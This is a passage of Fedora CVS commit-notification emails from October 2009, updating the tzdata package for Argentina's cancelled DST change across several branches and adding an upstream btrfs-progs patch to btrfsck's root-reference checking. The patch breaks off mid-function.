 * Tue Sep 22 2009 Petr Machata <pmachata at redhat.com> - 2009m-2
 - Add markers for autoupdate of spec file
 - Pakistan leaves the period of DST on October 1 (tzdata-2009m-karachi.patch)


--- tzdata-2009m-karachi.patch DELETED ---



From pmachata at fedoraproject.org  Mon Oct 19 15:33:49 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Mon, 19 Oct 2009 15:33:49 +0000 (UTC)
Subject: rpms/tzdata/F-11 tzdata-2009o-argentinas.patch, NONE, 1.1 sources, 
	1.62, 1.63 tzdata.spec, 1.86, 1.87 tzdata-2009m-karachi.patch,
	1.1, NONE
Message-ID: <20091019153349.1C9C411C00DC@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/tzdata/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3768/F-11

Modified Files:
	sources tzdata.spec 
Added Files:
	tzdata-2009o-argentinas.patch 
Removed Files:
	tzdata-2009m-karachi.patch 
Log Message:
- Upstream 2009o
- Patch: Argentina doesn't enter DST


tzdata-2009o-argentinas.patch:
 southamerica |    9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

--- NEW FILE tzdata-2009o-argentinas.patch ---
--- tzdata2009o/southamerica~	2009-10-16 13:23:49.000000000 +0000
+++ tzdata2009o/southamerica	2009-10-16 13:24:14.000000000 +0000
@@ -215,9 +215,14 @@
 # http://www.jujuy.gov.ar/index2/partes_prensa/18_10_08/235-181008.doc
 # </a>
 
+# Margarita Manterola:
+# Same as always, Argentina's government just decided to change its mind
+# regarding DST, 2 days in advance.
+# http://www.lanacion.com.ar/nota.asp?nota_id=1186963&pid=7542694&toi=6275
+
 Rule	Arg	2007	only	-	Dec	30	0:00	1:00	S
-Rule	Arg	2008	max	-	Mar	Sun>=15	0:00	0	-
-Rule	Arg	2008	max	-	Oct	Sun>=15	0:00	1:00	S
+Rule	Arg	2008	2009	-	Mar	Sun>=15	0:00	0	-
+Rule	Arg	2008	only	-	Oct	Sun>=15	0:00	1:00	S
  
 # From Mariano Absatz (2004-05-21):
 # Today it was officially published that the Province of Mendoza is changing


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-11/sources,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- sources	16 Sep 2009 12:12:50 -0000	1.62
+++ sources	19 Oct 2009 15:33:48 -0000	1.63
@@ -1,4 +1,4 @@
 6a3392cd5f1594d13c12c1a836ac8d91  javazic.tar.gz
 e36d2f742c22f8c8dbf0686ac9769b55  tzdata-base-0.tar.bz2
 d181116286661375966a350e3e358cfa  tzcode2009k.tar.gz
-5314fe1483c7c1be17c50f2c2171e06b  tzdata2009m.tar.gz
+75c74b9c8df7c83c8e3c3068fff08a82  tzdata2009o.tar.gz


Index: tzdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-11/tzdata.spec,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- tzdata.spec	23 Sep 2009 10:43:09 -0000	1.86
+++ tzdata.spec	19 Oct 2009 15:33:48 -0000	1.87
@@ -1,9 +1,9 @@
 Summary: Timezone data
 Name: tzdata
-Version: 2009m
-%define tzdata_version 2009m
+Version: 2009o
+%define tzdata_version 2009o
 %define tzcode_version 2009k
-Release: 2%{?dist}
+Release: 1%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: ftp://elsie.nci.nih.gov/pub/
@@ -17,7 +17,7 @@ Source0: tzdata-base-0.tar.bz2
 Source1: ftp://elsie.nci.nih.gov/pub/tzdata%{tzdata_version}.tar.gz
 Source2: ftp://elsie.nci.nih.gov/pub/tzcode%{tzcode_version}.tar.gz
 # __decl_patches
-Patch1: tzdata-2009m-karachi.patch
+Patch1: tzdata-2009o-argentinas.patch
 # __end
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -113,6 +113,13 @@ rm -rf %{buildroot}
 %{_datadir}/javazi
 
 %changelog
+* Mon Oct 19 2009 Petr Machata <pmachata at redhat.com> - 2009o-1
+- Upstream 2009o
+  - Bangladesh won't go back to Standard Time from October 1, 2009
+  - Pakistan leaves DST on October 1, 2009
+- Dropped tzdata-2009m-karachi.patch
+- Argentina does not enter DST on October 18 (tzdata-2009o-argentinas.patch)
+
 * Tue Sep 22 2009 Petr Machata <pmachata at redhat.com> - 2009m-2
 - Add markers for autoupdate of spec file
 - Pakistan leaves the period of DST on October 1 (tzdata-2009m-karachi.patch)


--- tzdata-2009m-karachi.patch DELETED ---



From pmachata at fedoraproject.org  Mon Oct 19 15:33:49 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Mon, 19 Oct 2009 15:33:49 +0000 (UTC)
Subject: rpms/tzdata/devel tzdata-2009o-argentinas.patch, NONE, 1.1 sources, 
	1.63, 1.64 tzdata.spec, 1.88, 1.89 tzdata-2009m-karachi.patch,
	1.1, NONE
Message-ID: <20091019153349.6DD6111C00DC@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/tzdata/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3768/devel

Modified Files:
	sources tzdata.spec 
Added Files:
	tzdata-2009o-argentinas.patch 
Removed Files:
	tzdata-2009m-karachi.patch 
Log Message:
- Upstream 2009o
- Patch: Argentina doesn't enter DST


tzdata-2009o-argentinas.patch:
 southamerica |    9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

--- NEW FILE tzdata-2009o-argentinas.patch ---
--- tzdata2009o/southamerica~	2009-10-16 13:23:49.000000000 +0000
+++ tzdata2009o/southamerica	2009-10-16 13:24:14.000000000 +0000
@@ -215,9 +215,14 @@
 # http://www.jujuy.gov.ar/index2/partes_prensa/18_10_08/235-181008.doc
 # </a>
 
+# Margarita Manterola:
+# Same as always, Argentina's government just decided to change its mind
+# regarding DST, 2 days in advance.
+# http://www.lanacion.com.ar/nota.asp?nota_id=1186963&pid=7542694&toi=6275
+
 Rule	Arg	2007	only	-	Dec	30	0:00	1:00	S
-Rule	Arg	2008	max	-	Mar	Sun>=15	0:00	0	-
-Rule	Arg	2008	max	-	Oct	Sun>=15	0:00	1:00	S
+Rule	Arg	2008	2009	-	Mar	Sun>=15	0:00	0	-
+Rule	Arg	2008	only	-	Oct	Sun>=15	0:00	1:00	S
  
 # From Mariano Absatz (2004-05-21):
 # Today it was officially published that the Province of Mendoza is changing


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/devel/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	16 Sep 2009 11:58:55 -0000	1.63
+++ sources	19 Oct 2009 15:33:49 -0000	1.64
@@ -1,4 +1,4 @@
 6a3392cd5f1594d13c12c1a836ac8d91  javazic.tar.gz
 e36d2f742c22f8c8dbf0686ac9769b55  tzdata-base-0.tar.bz2
 d181116286661375966a350e3e358cfa  tzcode2009k.tar.gz
-5314fe1483c7c1be17c50f2c2171e06b  tzdata2009m.tar.gz
+75c74b9c8df7c83c8e3c3068fff08a82  tzdata2009o.tar.gz


Index: tzdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/devel/tzdata.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- tzdata.spec	23 Sep 2009 10:40:40 -0000	1.88
+++ tzdata.spec	19 Oct 2009 15:33:49 -0000	1.89
@@ -1,9 +1,9 @@
 Summary: Timezone data
 Name: tzdata
-Version: 2009m
-%define tzdata_version 2009m
+Version: 2009o
+%define tzdata_version 2009o
 %define tzcode_version 2009k
-Release: 2%{?dist}
+Release: 1%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: ftp://elsie.nci.nih.gov/pub/
@@ -17,7 +17,7 @@ Source0: tzdata-base-0.tar.bz2
 Source1: ftp://elsie.nci.nih.gov/pub/tzdata%{tzdata_version}.tar.gz
 Source2: ftp://elsie.nci.nih.gov/pub/tzcode%{tzcode_version}.tar.gz
 # __decl_patches
-Patch1: tzdata-2009m-karachi.patch
+Patch1: tzdata-2009o-argentinas.patch
 # __end
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -113,6 +113,13 @@ rm -rf %{buildroot}
 %{_datadir}/javazi
 
 %changelog
+* Mon Oct 19 2009 Petr Machata <pmachata at redhat.com> - 2009o-1
+- Upstream 2009o
+  - Bangladesh won't go back to Standard Time from October 1, 2009
+  - Pakistan leaves DST on October 1, 2009
+- Dropped tzdata-2009m-karachi.patch
+- Argentina does not enter DST on October 18 (tzdata-2009o-argentinas.patch)
+
 * Tue Sep 22 2009 Petr Machata <pmachata at redhat.com> - 2009m-2
 - Add markers for autoupdate of spec file
 - Pakistan leaves the period of DST on October 1 (tzdata-2009m-karachi.patch)


--- tzdata-2009m-karachi.patch DELETED ---



From pmachata at fedoraproject.org  Mon Oct 19 15:40:43 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Mon, 19 Oct 2009 15:40:43 +0000 (UTC)
Subject: rpms/tzdata/F-12 tzdata-2009o-argentinas.patch, NONE, 1.1 sources, 
	1.63, 1.64 tzdata.spec, 1.88, 1.89 tzdata-2009m-karachi.patch,
	1.1, NONE
Message-ID: <20091019154043.7315111C02A6@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/tzdata/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6296

Modified Files:
	sources tzdata.spec 
Added Files:
	tzdata-2009o-argentinas.patch 
Removed Files:
	tzdata-2009m-karachi.patch 
Log Message:
2009o + Argentinas patch.  Forgot about the F12 branch.


tzdata-2009o-argentinas.patch:
 southamerica |    9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

--- NEW FILE tzdata-2009o-argentinas.patch ---
--- tzdata2009o/southamerica~	2009-10-16 13:23:49.000000000 +0000
+++ tzdata2009o/southamerica	2009-10-16 13:24:14.000000000 +0000
@@ -215,9 +215,14 @@
 # http://www.jujuy.gov.ar/index2/partes_prensa/18_10_08/235-181008.doc
 # </a>
 
+# Margarita Manterola:
+# Same as always, Argentina's government just decided to change its mind
+# regarding DST, 2 days in advance.
+# http://www.lanacion.com.ar/nota.asp?nota_id=1186963&pid=7542694&toi=6275
+
 Rule	Arg	2007	only	-	Dec	30	0:00	1:00	S
-Rule	Arg	2008	max	-	Mar	Sun>=15	0:00	0	-
-Rule	Arg	2008	max	-	Oct	Sun>=15	0:00	1:00	S
+Rule	Arg	2008	2009	-	Mar	Sun>=15	0:00	0	-
+Rule	Arg	2008	only	-	Oct	Sun>=15	0:00	1:00	S
  
 # From Mariano Absatz (2004-05-21):
 # Today it was officially published that the Province of Mendoza is changing


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-12/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	16 Sep 2009 11:58:55 -0000	1.63
+++ sources	19 Oct 2009 15:40:43 -0000	1.64
@@ -1,4 +1,4 @@
 6a3392cd5f1594d13c12c1a836ac8d91  javazic.tar.gz
 e36d2f742c22f8c8dbf0686ac9769b55  tzdata-base-0.tar.bz2
 d181116286661375966a350e3e358cfa  tzcode2009k.tar.gz
-5314fe1483c7c1be17c50f2c2171e06b  tzdata2009m.tar.gz
+75c74b9c8df7c83c8e3c3068fff08a82  tzdata2009o.tar.gz


Index: tzdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-12/tzdata.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- tzdata.spec	23 Sep 2009 10:40:40 -0000	1.88
+++ tzdata.spec	19 Oct 2009 15:40:43 -0000	1.89
@@ -1,9 +1,9 @@
 Summary: Timezone data
 Name: tzdata
-Version: 2009m
-%define tzdata_version 2009m
+Version: 2009o
+%define tzdata_version 2009o
 %define tzcode_version 2009k
-Release: 2%{?dist}
+Release: 1%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: ftp://elsie.nci.nih.gov/pub/
@@ -17,7 +17,7 @@ Source0: tzdata-base-0.tar.bz2
 Source1: ftp://elsie.nci.nih.gov/pub/tzdata%{tzdata_version}.tar.gz
 Source2: ftp://elsie.nci.nih.gov/pub/tzcode%{tzcode_version}.tar.gz
 # __decl_patches
-Patch1: tzdata-2009m-karachi.patch
+Patch1: tzdata-2009o-argentinas.patch
 # __end
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -113,6 +113,13 @@ rm -rf %{buildroot}
 %{_datadir}/javazi
 
 %changelog
+* Mon Oct 19 2009 Petr Machata <pmachata at redhat.com> - 2009o-1
+- Upstream 2009o
+  - Bangladesh won't go back to Standard Time from October 1, 2009
+  - Pakistan leaves DST on October 1, 2009
+- Dropped tzdata-2009m-karachi.patch
+- Argentina does not enter DST on October 18 (tzdata-2009o-argentinas.patch)
+
 * Tue Sep 22 2009 Petr Machata <pmachata at redhat.com> - 2009m-2
 - Add markers for autoupdate of spec file
 - Pakistan leaves the period of DST on October 1 (tzdata-2009m-karachi.patch)


--- tzdata-2009m-karachi.patch DELETED ---



From josef at fedoraproject.org  Mon Oct 19 15:44:05 2009
From: josef at fedoraproject.org (Josef Bacik)
Date: Mon, 19 Oct 2009 15:44:05 +0000 (UTC)
Subject: rpms/btrfs-progs/F-12 btrfs-progs-upstream.patch, NONE,
	1.1 btrfs-progs.spec, 1.19, 1.20
Message-ID: <20091019154405.6F45C11C00DC@cvs1.fedora.phx.redhat.com>

Author: josef

Update of /cvs/pkgs/rpms/btrfs-progs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7916

Modified Files:
	btrfs-progs.spec 
Added Files:
	btrfs-progs-upstream.patch 
Log Message:
- bringing uptodate with upstream, fixes btrfsck and converter


btrfs-progs-upstream.patch:
 btrfsck.c  |  444 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
 btrfsctl.c |   15 +-
 convert.c  |    7 
 ioctl.h    |    3 
 4 files changed, 427 insertions(+), 42 deletions(-)

--- NEW FILE btrfs-progs-upstream.patch ---
diff --git a/btrfsck.c b/btrfsck.c
index 40c90f8..73f1836 100644
--- a/btrfsck.c
+++ b/btrfsck.c
@@ -36,7 +36,7 @@ static u64 total_fs_tree_bytes = 0;
 static u64 btree_space_waste = 0;
 static u64 data_bytes_allocated = 0;
 static u64 data_bytes_referenced = 0;
-int found_old_backref = 0;
+static int found_old_backref = 0;
 
 struct extent_backref {
 	struct list_head list;
@@ -100,7 +100,11 @@ struct inode_backref {
 #define REF_ERR_DUP_INODE_REF		(1 << 5)
 #define REF_ERR_INDEX_UNMATCH		(1 << 6)
 #define REF_ERR_FILETYPE_UNMATCH	(1 << 7)
-#define REF_ERR_NAME_TOO_LONG		(1 << 8)
+#define REF_ERR_NAME_TOO_LONG		(1 << 8) // 100
+#define REF_ERR_NO_ROOT_REF		(1 << 9)
+#define REF_ERR_NO_ROOT_BACKREF		(1 << 10)
+#define REF_ERR_DUP_ROOT_REF		(1 << 11)
+#define REF_ERR_DUP_ROOT_BACKREF	(1 << 12)
 
 struct inode_record {
 	struct list_head backrefs;
@@ -144,6 +148,29 @@ struct inode_record {
 #define I_ERR_SOME_CSUM_MISSING		(1 << 12)
 #define I_ERR_LINK_COUNT_WRONG		(1 << 13)
 
+struct root_backref {
+	struct list_head list;
+	unsigned int found_dir_item:1;
+	unsigned int found_dir_index:1;
+	unsigned int found_back_ref:1;
+	unsigned int found_forward_ref:1;
+	unsigned int reachable:1;
+	int errors;
+	u64 ref_root;
+	u64 dir;
+	u64 index;
+	u16 namelen;
+	char name[0];
+};
+
+struct root_record {
+	struct list_head backrefs;
+	struct cache_extent cache;
+	unsigned int found_root_item:1;
+	u64 objectid;
+	u32 found_ref;
+};
+
 struct ptr_node {
 	struct cache_extent cache;
 	void *data;
@@ -151,6 +178,7 @@ struct ptr_node {
 
 struct shared_node {
 	struct cache_extent cache;
+	struct cache_tree root_cache;
 	struct cache_tree inode_cache;
 	struct inode_record *current;
 	u32 refs;
@@ -258,6 +286,14 @@ static void free_inode_rec(struct inode_record *rec)
 	free(rec);
 }
 
+static int can_free_inode_rec(struct inode_record *rec)
+{
+	if (!rec->errors && rec->checked && rec->found_inode_item &&
+	    rec->nlink == rec->found_link && list_empty(&rec->backrefs))
+		return 1;
+	return 0;
+}
+
 static void maybe_free_inode_rec(struct cache_tree *inode_cache,
 				 struct inode_record *rec)
 {
@@ -309,8 +345,7 @@ static void maybe_free_inode_rec(struct cache_tree *inode_cache,
 	}
 
 	BUG_ON(rec->refs != 1);
-	if (!rec->errors && rec->nlink == rec->found_link &&
-	    list_empty(&rec->backrefs)) {
+	if (can_free_inode_rec(rec)) {
 		cache = find_cache_extent(inode_cache, rec->ino, 1);
 		node = container_of(cache, struct ptr_node, cache);
 		BUG_ON(node->data != rec);
@@ -338,14 +373,12 @@ static int check_orphan_item(struct btrfs_root *root, u64 ino)
 	return ret;
 }
 
-static int process_inode_item(struct btrfs_root *root,
-			      struct extent_buffer *eb,
+static int process_inode_item(struct extent_buffer *eb,
 			      int slot, struct btrfs_key *key,
 			      struct shared_node *active_node)
 {
 	struct inode_record *rec;
 	struct btrfs_inode_item *item;
-	int ret;
 
 	rec = active_node->current;
 	BUG_ON(rec->ino != key->objectid || rec->refs > 1);
@@ -361,11 +394,8 @@ static int process_inode_item(struct btrfs_root *root,
 	if (btrfs_inode_flags(eb, item) & BTRFS_INODE_NODATASUM)
 		rec->nodatasum = 1;
 	rec->found_inode_item = 1;
-	if (rec->nlink == 0) {
-		ret = check_orphan_item(root, rec->ino);
-		if (ret == -ENOENT)
-			rec->errors |= I_ERR_NO_ORPHAN_ITEM;
-	}
+	if (rec->nlink == 0)
+		rec->errors |= I_ERR_NO_ORPHAN_ITEM;
 	maybe_free_inode_rec(&active_node->inode_cache, rec);
 	return 0;
 }
@@ -443,10 +473,9 @@ static int add_inode_backref(struct cache_tree *inode_cache,
 }
 
 static int merge_inode_recs(struct inode_record *src, struct inode_record *dst,
-			    struct shared_node *dst_node)
+			    struct cache_tree *dst_cache)
 {
 	struct inode_backref *backref;
-	struct cache_tree *dst_cache = &dst_node->inode_cache;
 
 	dst->merging = 1;
 	list_for_each_entry(backref, &src->backrefs, list) {
@@ -510,14 +539,8 @@ static int merge_inode_recs(struct inode_record *src, struct inode_record *dst,
 			dst->errors |= I_ERR_DUP_INODE_ITEM;
 		}
 	}
-
-	if (src->checked) {
-		dst->checked = 1;
-		if (dst_node->current == dst)
-			dst_node->current = NULL;
-	}
 	dst->merging = 0;
-	maybe_free_inode_rec(dst_cache, dst);
+
 	return 0;
 }
 
@@ -537,8 +560,9 @@ static int splice_shared_node(struct shared_node *src_node,
 	if (src_node->current)
 		current_ino = src_node->current->ino;
 
-	src = &src_node->inode_cache;
-	dst = &dst_node->inode_cache;
+	src = &src_node->root_cache;
+	dst = &dst_node->root_cache;
+again:
 	cache = find_first_cache_extent(src, 0);
 	while (cache) {
 		node = container_of(cache, struct ptr_node, cache);
@@ -557,14 +581,28 @@ static int splice_shared_node(struct shared_node *src_node,
 		}
 		ret = insert_existing_cache_extent(dst, &ins->cache);
 		if (ret == -EEXIST) {
+			WARN_ON(src == &src_node->root_cache);
 			conflict = get_inode_rec(dst, rec->ino, 1);
-			merge_inode_recs(rec, conflict, dst_node);
+			merge_inode_recs(rec, conflict, dst);
+			if (rec->checked) {
+				conflict->checked = 1;
+				if (dst_node->current == conflict)
+					dst_node->current = NULL;
+			}
+			maybe_free_inode_rec(dst, conflict);
 			free_inode_rec(rec);
 			free(ins);
 		} else {
 			BUG_ON(ret);
 		}
 	}
+
+	if (src == &src_node->root_cache) {
+		src = &src_node->inode_cache;
+		dst = &dst_node->inode_cache;
+		goto again;
+	}
+
 	if (current_ino > 0 && (!dst_node->current ||
 	    current_ino > dst_node->current->ino)) {
 		if (dst_node->current) {
@@ -616,6 +654,7 @@ static int add_shared_node(struct cache_tree *shared, u64 bytenr, u32 refs)
 	node = calloc(1, sizeof(*node));
 	node->cache.start = bytenr;
 	node->cache.size = 1;
+	cache_tree_init(&node->root_cache);
 	cache_tree_init(&node->inode_cache);
 	node->refs = refs;
 
@@ -646,6 +685,7 @@ static int enter_shared_node(struct btrfs_root *root, u64 bytenr, u32 refs,
 	if (wc->root_level == wc->active_node &&
 	    btrfs_root_refs(&root->root_item) == 0) {
 		if (--node->refs == 0) {
+			free_inode_recs(&node->root_cache);
 			free_inode_recs(&node->inode_cache);
 			remove_cache_extent(&wc->shared, &node->cache);
 			free(node);
@@ -708,10 +748,12 @@ static int process_dir_item(struct extent_buffer *eb,
 	int filetype;
 	struct btrfs_dir_item *di;
 	struct inode_record *rec;
+	struct cache_tree *root_cache;
 	struct cache_tree *inode_cache;
 	struct btrfs_key location;
 	char namebuf[BTRFS_NAME_LEN];
 
+	root_cache = &active_node->root_cache;
 	inode_cache = &active_node->inode_cache;
 	rec = active_node->current;
 	rec->found_dir_item = 1;
@@ -740,7 +782,9 @@ static int process_dir_item(struct extent_buffer *eb,
 					  key->objectid, key->offset, namebuf,
 					  len, filetype, key->type, error);
 		} else if (location.type == BTRFS_ROOT_ITEM_KEY) {
-			/* fixme: check root back & forward references */
+			add_inode_backref(root_cache, location.objectid,
+					  key->objectid, key->offset, namebuf,
+					  len, filetype, key->type, error);
 		} else {
 			fprintf(stderr, "warning line %d\n", __LINE__);
 		}
@@ -977,8 +1021,7 @@ static int process_one_leaf(struct btrfs_root *root, struct extent_buffer *eb,
 			ret = process_inode_ref(eb, i, &key, active_node);
 			break;
 		case BTRFS_INODE_ITEM_KEY:
-			ret = process_inode_item(root, eb, i, &key,
-						 active_node);
+			ret = process_inode_item(eb, i, &key, active_node);
 			break;
 		case BTRFS_EXTENT_DATA_KEY:
 			ret = process_file_extent(root, eb, i, &key,
@@ -1176,13 +1219,23 @@ static int check_inode_recs(struct btrfs_root *root,
 		node = container_of(cache, struct ptr_node, cache);
 		rec = node->data;
 		remove_cache_extent(inode_cache, &node->cache);
+		free(node);
 		if (rec->ino == root_dirid ||
 		    rec->ino == BTRFS_ORPHAN_OBJECTID) {
-			free(node);
 			free_inode_rec(rec);
 			continue;
 		}
 
+		if (rec->errors & I_ERR_NO_ORPHAN_ITEM) {
+			ret = check_orphan_item(root, rec->ino);
+			if (ret == 0)
+				rec->errors &= ~I_ERR_NO_ORPHAN_ITEM;
+			if (can_free_inode_rec(rec)) {
+				free_inode_rec(rec);
+				continue;
+			}
+		}
+
 		error++;
 		if (!rec->found_inode_item)
 			rec->errors |= I_ERR_NO_INODE_ITEM;
@@ -1205,13 +1258,314 @@ static int check_inode_recs(struct btrfs_root *root,
 				backref->namelen, backref->name,
 				backref->filetype, backref->errors);
 		}
-		free(node);
 		free_inode_rec(rec);
 	}
 	return (error > 0) ? -1 : 0;
 }
 
+static struct root_record *get_root_rec(struct cache_tree *root_cache,
+					u64 objectid)
+{
+	struct cache_extent *cache;
+	struct root_record *rec = NULL;
+	int ret;
+
+	cache = find_cache_extent(root_cache, objectid, 1);
+	if (cache) {
+		rec = container_of(cache, struct root_record, cache);
+	} else {
+		rec = calloc(1, sizeof(*rec));
+		rec->objectid = objectid;
+		INIT_LIST_HEAD(&rec->backrefs);
+		rec->cache.start = objectid;
+		rec->cache.size = 1;
+
+		ret = insert_existing_cache_extent(root_cache, &rec->cache);
+		BUG_ON(ret);
+	}
+	return rec;
+}
+
+static struct root_backref *get_root_backref(struct root_record *rec,
+					     u64 ref_root, u64 dir, u64 index,
+					     const char *name, int namelen)
+{
+	struct root_backref *backref;
+
+	list_for_each_entry(backref, &rec->backrefs, list) {
+		if (backref->ref_root != ref_root || backref->dir != dir ||
+		    backref->namelen != namelen)
+			continue;
+		if (memcmp(name, backref->name, namelen))
+			continue;
+		return backref;
+	}
+
+	backref = malloc(sizeof(*backref) + namelen + 1);
+	memset(backref, 0, sizeof(*backref));
+	backref->ref_root = ref_root;
+	backref->dir = dir;
+	backref->index = index;
+	backref->namelen = namelen;
+	memcpy(backref->name, name, namelen);
+	backref->name[namelen] = '\0';
+	list_add_tail(&backref->list, &rec->backrefs);
+	return backref;
+}
+
+static void free_root_recs(struct cache_tree *root_cache)
+{
+	struct cache_extent *cache;
+	struct root_record *rec;
+	struct root_backref *backref;
+
+	while (1) {
+		cache = find_first_cache_extent(root_cache, 0);
+		if (!cache)
+			break;
+		rec = container_of(cache, struct root_record, cache);
+		remove_cache_extent(root_cache, &rec->cache);
+
+		while (!list_empty(&rec->backrefs)) {
+			backref = list_entry(rec->backrefs.next,
+					     struct root_backref, list);
+			list_del(&backref->list);
+			free(backref);
+		}
+		kfree(rec);
+	}
+}
+
+static int add_root_backref(struct cache_tree *root_cache,
+			    u64 root_id, u64 ref_root, u64 dir, u64 index,
+			    const char *name, int namelen,
+			    int item_type, int errors)
+{
+	struct root_record *rec;
+	struct root_backref *backref;
+
+	rec = get_root_rec(root_cache, root_id);
+	backref = get_root_backref(rec, ref_root, dir, index, name, namelen);
+
+	backref->errors |= errors;
+
+	if (item_type != BTRFS_DIR_ITEM_KEY) {
+		if (backref->found_dir_index || backref->found_back_ref ||
+		    backref->found_forward_ref) {
+			if (backref->index != index)
+				backref->errors |= REF_ERR_INDEX_UNMATCH;
+		} else {
+			backref->index = index;
+		}
+	}
+
+	if (item_type == BTRFS_DIR_ITEM_KEY) {
+		backref->found_dir_item = 1;
+		backref->reachable = 1;
+		rec->found_ref++;
+	} else if (item_type == BTRFS_DIR_INDEX_KEY) {
+		backref->found_dir_index = 1;
+	} else if (item_type == BTRFS_ROOT_REF_KEY) {
+		if (backref->found_forward_ref)
+			backref->errors |= REF_ERR_DUP_ROOT_REF;
+		backref->found_forward_ref = 1;
+	} else if (item_type == BTRFS_ROOT_BACKREF_KEY) {
+		if (backref->found_back_ref)
+			backref->errors |= REF_ERR_DUP_ROOT_BACKREF;
+		backref->found_back_ref = 1;
+	} else {
+		BUG_ON(1);
+	}
+
+	return 0;
+}
+
+static int merge_root_recs(struct btrfs_root *root,
+			   struct cache_tree *src_cache,
+			   struct cache_tree *dst_cache)
+{
+	struct cache_extent *cache;
+	struct ptr_node *node;
+	struct inode_record *rec;
+	struct inode_backref *backref;
+
+	if (root->root_key.objectid == BTRFS_TREE_RELOC_OBJECTID) {
+		free_inode_recs(src_cache);
+		return 0;
+	}
+
+	while (1) {
+		cache = find_first_cache_extent(src_cache, 0);
+		if (!cache)
+			break;
+		node = container_of(cache, struct ptr_node, cache);
+		rec = node->data;
+		remove_cache_extent(src_cache, &node->cache);
+		free(node);
+
+		list_for_each_entry(backref, &rec->backrefs, list) {
+			BUG_ON(backref->found_inode_ref);
+			if (backref->found_dir_item)
+				add_root_backref(dst_cache, rec->ino,
+					root->root_key.objectid, backref->dir,
+					backref->index, backref->name,
+					backref->namelen, BTRFS_DIR_ITEM_KEY,
+					backref->errors);
+			if (backref->found_dir_index)
+				add_root_backref(dst_cache, rec->ino,
+					root->root_key.objectid, backref->dir,
+					backref->index, backref->name,
+					backref->namelen, BTRFS_DIR_INDEX_KEY,
+					backref->errors);
+		}
+		free_inode_rec(rec);
+	}
+	return 0;
+}
+
+static int check_root_refs(struct btrfs_root *root,
+			   struct cache_tree *root_cache)
+{
+	struct root_record *rec;
+	struct root_record *ref_root;
+	struct root_backref *backref;
+	struct cache_extent *cache;
+	int loop = 1;
+	int ret;
+	int error;
+	int errors = 0;
+
+	rec = get_root_rec(root_cache, BTRFS_FS_TREE_OBJECTID);
+	rec->found_ref = 1;
+
+	/* fixme: this can not detect circular references */
+	while (loop) {
+		loop = 0;
+		cache = find_first_cache_extent(root_cache, 0);
+		while (1) {
+			if (!cache)
+				break;
+			rec = container_of(cache, struct root_record, cache);
+			cache = next_cache_extent(cache);
+
+			if (rec->found_ref == 0)
+				continue;
+
+			list_for_each_entry(backref, &rec->backrefs, list) {
+				if (!backref->reachable)
+					continue;
+
+				ref_root = get_root_rec(root_cache,
+							backref->ref_root);
+				if (ref_root->found_ref > 0)
+					continue;
+
+				backref->reachable = 0;
+				rec->found_ref--;
+				if (rec->found_ref == 0)
+					loop = 1;
+			}
+		}
+	}
+
+	cache = find_first_cache_extent(root_cache, 0);
+	while (1) {
+		if (!cache)
+			break;
+		rec = container_of(cache, struct root_record, cache);
+		cache = next_cache_extent(cache);
+
+		if (rec->found_ref == 0 &&
+		    rec->objectid >= BTRFS_FIRST_FREE_OBJECTID &&
+		    rec->objectid <= BTRFS_LAST_FREE_OBJECTID) {
+			ret = check_orphan_item(root->fs_info->tree_root,
+						rec->objectid);
+			if (ret == 0)
+				continue;
+			errors++;
+			fprintf(stderr, "fs tree %llu not referenced\n",
+				(unsigned long long)rec->objectid);
+		}
+
+		error = 0;
+		if (rec->found_ref > 0 && !rec->found_root_item)
+			error = 1;
+		list_for_each_entry(backref, &rec->backrefs, list) {
+			if (!backref->found_dir_item)
+				backref->errors |= REF_ERR_NO_DIR_ITEM;
+			if (!backref->found_dir_index)
+				backref->errors |= REF_ERR_NO_DIR_INDEX;
+			if (!backref->found_back_ref)
+				backref->errors |= REF_ERR_NO_ROOT_BACKREF;
+			if (!backref->found_forward_ref)
+				backref->errors |= REF_ERR_NO_ROOT_REF;
+			if (backref->reachable && backref->errors)
+				error = 1;
+		}
+		if (!error)
+			continue;
+
+		errors++;
+		fprintf(stderr, "fs tree %llu refs %u %s\n",
+			(unsigned long long)rec->objectid, rec->found_ref,
+			 rec->found_root_item ? "" : "not found");
+
+		list_for_each_entry(backref, &rec->backrefs, list) {
+			if (!backref->reachable)
+				continue;
+			if (!backref->errors && rec->found_root_item)
